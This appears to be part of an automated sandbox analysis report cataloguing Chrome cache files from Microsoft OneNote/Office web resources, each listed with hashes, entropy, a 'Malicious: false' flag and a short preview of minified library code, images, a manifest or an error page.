Preview:	!function(e){var t={};function i(s){if(t[s])return t[s].exports;var r=t[s]={i:s,l:!1,exports:{}};return e[s].call(r.exports,r,r.exports,i),r.l=!0,r.exports}i.m=e,i.c=t,i.d=function(e,t,s){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:s})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)i.d(s,r,function(t){return e[t]}.bind(null,r));return s},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t,i){"use strict";var s;function r(e){if(!e)return;const t={};return e.forEac

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63603)
Category:	dropped
Size (bytes):	130559
Entropy (8bit):	5.272254843138107
Encrypted:	false
SSDEEP:	1536:+h8VvaIdNDxIQxI4QAQuBqCELdzQBy0uR6Ond4U:+h8VyIWLdcov4OndT
MD5:	87C1E4F634CF6F8AAAC8D0B54E18BC68
SHA1:	746F885FD663A7B7F0B621C8FF8763F06A52B0A8
SHA-256:	FB72ECE0B308948CC31DA5824E484070C21BD9EB6451179BACAB79C99BADC953
SHA-512:	F1C741606B3A320FA60114A67A40A9ABC642B768CEE44CFF471BE2426B55083ED46DEDD712C3008790657D05D30436DA61E64C7D6BB3BFF2C86A1EDE39BD4F91
Malicious:	false
Reputation:	low
Preview:	/! For license information please see odsp.react.lib-aa551099.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.react.lib"],{react_13:function(e){"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,a=Object.prototype.propertyIsEnumerable;function i(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map(function(e){return t[e]}).join(""))return!1;var a={};return"abcdefghijklmnopqrst".split("").forEach(function(e){a[e]=e}),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},a)).join("")}catch(e){return!1}}()?Object.assign:function(e,r){for(var o,s,c=i(e),d=1;d<arguments.length;d++){for(var l in o=Object(arguments[d]))n.cal

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64817)
Category:	downloaded
Size (bytes):	734694
Entropy (8bit):	5.272863920108225
Encrypted:	false
SSDEEP:	6144:s19A7bfCfEXdR+PcLUFKik94vpVb/+w13Ko39hKENjadLCLjNn+S0nVk3oxS/yYj:HOhKwuW5T
MD5:	BF18F2CAE41AD438A1698BF331A13BFA
SHA1:	C16D6CB22C17604733F385A95A7A09FBE3DDC297
SHA-256:	4CD387FD6EF9CDBF3F1EA01B08E6D2666CE6CCF661D9B95D9CF8380836117DE5
SHA-512:	80119F4FB76D5189CF24C212F5177D4F923A0B0E80B5B6FEA6317AE44C26143228DB227A0CB040C86BE2D4F43278745841F6F721EF6A75ED6596DB40B1B421BD
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/osfruntime_ono.js
Preview:	/* Office runtime JavaScript library /../..Copyright (c) Microsoft Corporation. All rights reserved../.../. Your use of this file is governed by the Microsoft Services Agreement http://go.microsoft.com/fwlink/?LinkId=266419... This file also contains the following Promise implementation (with a few small modifications):. * @overview es6-promise - a tiny implementation of Promises/A+.. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald). * @license Licensed under MIT license. * See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE. * @version 2.3.0.*/.var __extends=this&&this.__extends\|\|function(){var e=function(t,n){return e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){if("fu

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/m2/one.png
Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/m2/box42.png
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9468)
Category:	dropped
Size (bytes):	9502
Entropy (8bit):	5.109546501491569
Encrypted:	false
SSDEEP:	192:6m8MfbxX4bj4uB4qHgUU4Y1704v4IJ4e43964zVYgM4HB2g5i4eQ:6m8yRKjzy4O0G7XS9qgMOMgMM
MD5:	2E9468D44DEE56F6FDCD78F3102FB8B0
SHA1:	04BF07C5994ACA2B504550DFFA12B8D3199102C5
SHA-256:	8CC060717898F2E20FAA5CBBE4B4989D9A05B744F8FFD49F26EF4709D79ED61A
SHA-512:	94E531F4FF02AEDD50A6CCEE282A1CF0AB0FB19C1C890FA3CB16D7154014CD73667CC8FB4AF09876E2BE0A2A90D25A7AE1751C33B07F220DFFCF93409A8B120B
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[11],{118:(e,t,n)=>{n.r(t),n.d(t,{getFirstConsistentlyInteractive:()=>u});var a=n(0),i=0,r=["img","script","iframe","link","audio","video","source"];function o(e,t){for(var n=0,a=e;n<a.length;n++){var i=a[n];if(t.includes(i.nodeName.toLowerCase())\|\|o(i.children,t))return!0}return!1}function s(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];c()&&console.log.apply(console,e)}function c(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableTTILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}function d(e,t){if(e.length>2)return performance.now();for(var n=[],a=0,i=t;a<i.length;a++){var r=i[a];n.push({timestamp:r.start,type:"requestStart"}),n.push({timestamp:r.end,type:"requestEnd"})}for(var o=0,s=e;o<s.length;o++){var c=s[o];n.push({timestamp:c,type:"requestStart"})}n.sort(function(e,t){return e.timestamp-t.tim

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	9258
Entropy (8bit):	5.806838074326134
Encrypted:	false
SSDEEP:	96:yA0JNQoxbu9xsW4guOCrae6aakWLAnHx4FbqdyjeBR56o8ykHVPAI5em1LQxhcA3:vCJ3xnWLiR4kcS56oW1PAI5eVtPh
MD5:	5FBC6BB137EA2316DEFE300913A950DF
SHA1:	29464B148AE54621A4AAD4F7742A2A05BE6517E3
SHA-256:	82553839D3ECC08D5F9DDF58F9F466B88BFC614F9613DB9525B0E7037BF6843C
SHA-512:	D0E0EB529A240E5ED9F24E7F34AA86AB60734285596B531B36623D56867375523F6BB4CD32D4FE906572EBED129A0595DE315B5B6DD9F46AEE5342048352C5E7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>54fe4e50-e89c-412b-a034-143b547f9c5d</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Meeting Details">.. <Override Locale="af-ZA" Value="Vergaderingbesonderhede" />.. <Override Locale="am-ET" Value="..... ....." />.. <Override Locale="ar-SA" Value="...... ........" />.. <Override Locale="as-IN" Value="...... ....-....." />.. <Override Locale="az-Latn-AZ" Value="Toplant. T.f.rr.atlar." />.. <Override Locale="be-BY" Value="..........

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31038), with no line terminators
Category:	downloaded
Size (bytes):	31038
Entropy (8bit):	5.182869723505779
Encrypted:	false
SSDEEP:	768:lWo0BHNt8EF0MPEN5DkvBouB8gHEDT95kdnkVM1owjH/7VXDneVN:lP0BHNuEF0MPU9GjjpnIN
MD5:	9EB54831A39D725782574C247D3D0206
SHA1:	BAFDEAF62ED6F1BC258BDE5653AB97FA47062D0B
SHA-256:	8F1B49875CDC595D3EF040DAB7B12AF26195018F1876AC1F17A2443CE594B960
SHA-512:	902A60D3E969442C539CCA2893A71E5E95BF4AB4B5230C5D2DDB7D290D8AD3B4F28BBB30EA10BFDE72659FAABA354C9F1BCD817E6944A111FA727ED62543FD24
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/require-9eb54831.js
Preview:	!(function(){if("PerformanceLongTaskTiming"in window){var e=window.__tti={e:[]};e.o=new PerformanceObserver((function(t){e.e=e.e.concat(t.getEntries())}));e.o.observe({entryTypes:["longtask"]})}})();!(function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports["es6-symbol"]=t():(e["es6-symbol"]=t(),e.Symbol=e.Symbol\|\|e["es6-symbol"])})(window,(function(){return(function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/progress.gif
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (18992), with CRLF line terminators
Category:	downloaded
Size (bytes):	19181
Entropy (8bit):	4.3590974373798
Encrypted:	false
SSDEEP:	384:im1leaXgjDSEcE+fg1gKzqF9meWFaUOKco5FXp/kf/oezD:b1leajD0kiDlgMJkIy
MD5:	D9604CC18F364A6ADE707B7FAAEC642C
SHA1:	F38F0B94764184D4373886FDA1CA87D352BFCE5A
SHA-256:	F282423F48F12F56419363384F3B10002C8D3D106BC1AC8FF721602AA2B2FD9B
SHA-512:	7B305607B79F077539E3C37CD46EAFBB9E4C9B2A8825217187515CD20FFBFE204BAC43E918CD4440EB65A3A2DCFFC4140D06B43845613D48566448765B3D5DF4
Malicious:	false
Reputation:	low
URL:	https://euc-onenote.officeapps.live.com/o/App_Scripts/Acl/Acl1033.js
Preview:	.var AutoCorrectList={"(c)":".","(r)":".","(tm)":".","...":".","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"achieve","acheived":"achieved","acheiving":"achieving","acn":"can","acommodate":"accommodate","acomodate":"accommodate","actualyl":"actually","additinal":"additional","addtional":"additional","adequit":"adequate","adequite":"adequate","adn":"and","advanage":"advantage","affraid":"afraid","afterthe":"after the","againstt he":"against the","aganist":"against","aggresive":"aggressive","agian":"again","agreemeent":"agreement","agreemeents":"agreements","agreemnet":"agreement","agreemnets":"agreements","agressive":"aggressive","ahppen":"happen","ahve":"have","allwasy":"always","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	168365
Entropy (8bit):	5.531051011616681
Encrypted:	false
SSDEEP:	3072:CYnfhiNLgQ7HIDhrVajKqhutob4xQU9HLCc/WDWommKbmSiPRu/8viabIP:TMNL7ghJajKqhM+4xQU9HOGmKbMbI
MD5:	4D774171F064B0C5D03BFA067F415D15
SHA1:	DAB7ECA2CA5269055DA9AB609613C26608B2A9E3
SHA-256:	604DED9AFE683B304331BC211132150CD31324F6A006436D4A4190240E952F94
SHA-512:	777FFD31CE945BEA22CEEC7FFDFEB390558E5E5967CFB7F49E89A8B46E52EDD53FEED06FE27C556678A9B35F1FEF650AD771112B0A61D4C2672079ACF61EC3C2
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.slim.6a7c2b86e1c3aace8110.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),i=n(46049),r=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},43803:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(20947),i=n(46049),r=n(15368),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	328384
Entropy (8bit):	5.466830009382876
Encrypted:	false
SSDEEP:	6144:UBx9ZuoKdrKkOcr7oZHmrbCun8zrDfXsFWSrZOcn6CxEQ7LgHUqYsfuJ8xOlcGJc:UAdrKkOcrEZ+yDfXsxrMcn6CxiUqYsfl
MD5:	4ED28B5994284EE3ACE64C21F18548F7
SHA1:	EC260648AF227BB9596365B7CEBACD1A002D3A9C
SHA-256:	99A2E953F2910E74467A8EF55DF49628BAA87B12871927015BFB873F6564C3CC
SHA-512:	36999DB2A48379BBA91425DB0712A2A9731E1CDD03F9A015EE736CB1D7610BE1CCA37051F93CC45A90597CE0F5B914CA6F46B9059029853A3EE22CB5788D95FF
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.0d5db2950b46cf8923b1.js
Preview:	var Microsoft;!function(){var e,t,n,i,o={8444:function(e,t,n){var i,o=function(){var e=String.fromCharCode,t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};function o(e,t){if(!i[e]){i[e]={};for(var n=0;n<e.length;n++)i[e][e.charAt(n)]=n}return i[e][t]}var s={compressToBase64:function(e){if(null==e)return"";var n=s.H(e,6,(function(e){return t.charAt(e)}));switch(n.length%4){default:case 0:return n;case 1:return n+"===";case 2:return n+"==";case 3:return n+"="}},decompressFromBase64:function(e){return null==e?"":""==e?null:s.A(e.length,32,(function(n){return o(t,e.charAt(n))}))},compressToUTF16:function(t){return null==t?"":s.H(t,15,(function(t){return e(t+32)}))+" "},decompressFromUTF16:function(e){return null==e?"":""==e?null:s.A(e.length,16384,(function(t){return e.charCodeAt(t)-32}))},compressToUint8Array:function(e){for(var t=s.compress(e),n=new Uint8Array(2*t.length),i=0,o=t.length;i<o;i

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65457)
Category:	dropped
Size (bytes):	139441
Entropy (8bit):	5.329801564325469
Encrypted:	false
SSDEEP:	1536:3rekafzVM8v4ZvE3DUJ/N0SoY+2d2j6Cha18suGEYE4yH/OqUGtTzLBJDT:7ekl8v4ZvEQUSov2dqha1JefOMp1JP
MD5:	C97878DF07C09819786DB77BF84E0423
SHA1:	464217652070333135DCB59C10449B83FC00AEE2
SHA-256:	AAC3B85E973D094FA9EE03F6112A55A013FE87A5388E403DD23513D703C4C9D5
SHA-512:	90AF2247CE387EF3CAA6C3B0FD07161AD3C0B538E3919CF50DB664E5FB89068BCB63089BD10A0B5046BE83BA28D6E5482E11C8E4D67D9C399BC9E3524E473422
Malicious:	false
Reputation:	low
Preview:	/! For license information please see odsp.1ds.lib-6a403d98.js.LICENSE.txt /."use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["odsp.1ds.lib"],{"1ds-lib":function(e,t,n){n.r(t),n.d(t,{_InMemoryPropertyStorage:function(){return Is},_OneDSLogger:function(){return Ds}});var a={};n.r(a),n.d(a,{optionalDiagnostic:function(){return rs},requiredDiagnostic:function(){return is},requiredService:function(){return os}});var i=function(e,t){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},i(e,t)};function r(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}i(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return o=Object.assign\|\|function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var i i

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1505
Entropy (8bit):	5.315674199324367
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqxXPOa7JZRGNeHX+AYcvP2wk1APSdgpsTTqGvHLiXFVjguk5:lmIAq1UqNOiJZ+eHX+AdP22yllivjguU
MD5:	59372A1A3FB09A27594093F0BF524613
SHA1:	DD44CDA08F082DAC06E0D0FBFA662830B9989926
SHA-256:	4D16C45DF3C3EDB6B0A3E8937DADB5AE95BF8737A728EEDB397E0C964F16B396
SHA-512:	2BC00587DD316A697D87B68937A8A34D330E11568DD7A531980C901978FD2EC3C2A6A513856171A7D10C32922EDE46EEC1E5E17459D046091D413A7947E957AE
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>412 - Precondition set by the client failed when evaluated on the Web server.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1>

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836)
Category:	downloaded
Size (bytes):	1881
Entropy (8bit):	5.242904024505773
Encrypted:	false
SSDEEP:	48:Tpb2K88E4MpcrdUK08uhGL2S3IH9sWRhCt:TpbLx5uhGLPIH9sWRhCt
MD5:	481E9B7523DD0EB42989C1D5531B71E0
SHA1:	21B1370231C5D2B3A94E6B142FB2D9A82E3DB011
SHA-256:	B7980DF54E1E21163B392C276C0FD0D6CBA054E817C37F83AEB791B1F70BF551
SHA-512:	C370D94D3A6EBB5A811341BAAD94BB79B1CF11FBF8E85D031670FE83E836642D0D7CD45A4E8CE6698385479630421A3E14001E0DAD3A9F51A4862267A0323543
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/uiFabricLazy.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[288],{5340:function(e,n,t){t.r(n),t.d(n,{Callout:function(){return i}});var o=t(91487),r=t(35440),a=t(35843),u=t(80696),i=r.forwardRef((function(e,n){var t=e.layerProps,i=e.doNotLayer,l=(0,o.__rest)(e,["layerProps","doNotLayer"]),s=r.createElement(a.s,(0,o.__assign)({},l,{doNotLayer:i,ref:n}));return i?s:r.createElement(u.W,(0,o.__assign)({},t),s)}));i.displayName="Callout"},53588:function(e,n,t){t.r(n),t.d(n,{ContextualMenu:function(){return p}});var o=t(91487),r=t(35440),a=t(36519),u=t(75747),i=t(68235),l=t(15904),s=t(48241),d={root:"ms-ContextualMenu",container:"ms-ContextualMenu-container",list:"ms-ContextualMenu-list",header:"ms-ContextualMenu-header",title:"ms-ContextualMenu-title",isopen:"is-open"};function c(e){return r.createElement(m,(0,o.__assign)({},e))}var m=(0,a.I)(i.wb,(function(e){var 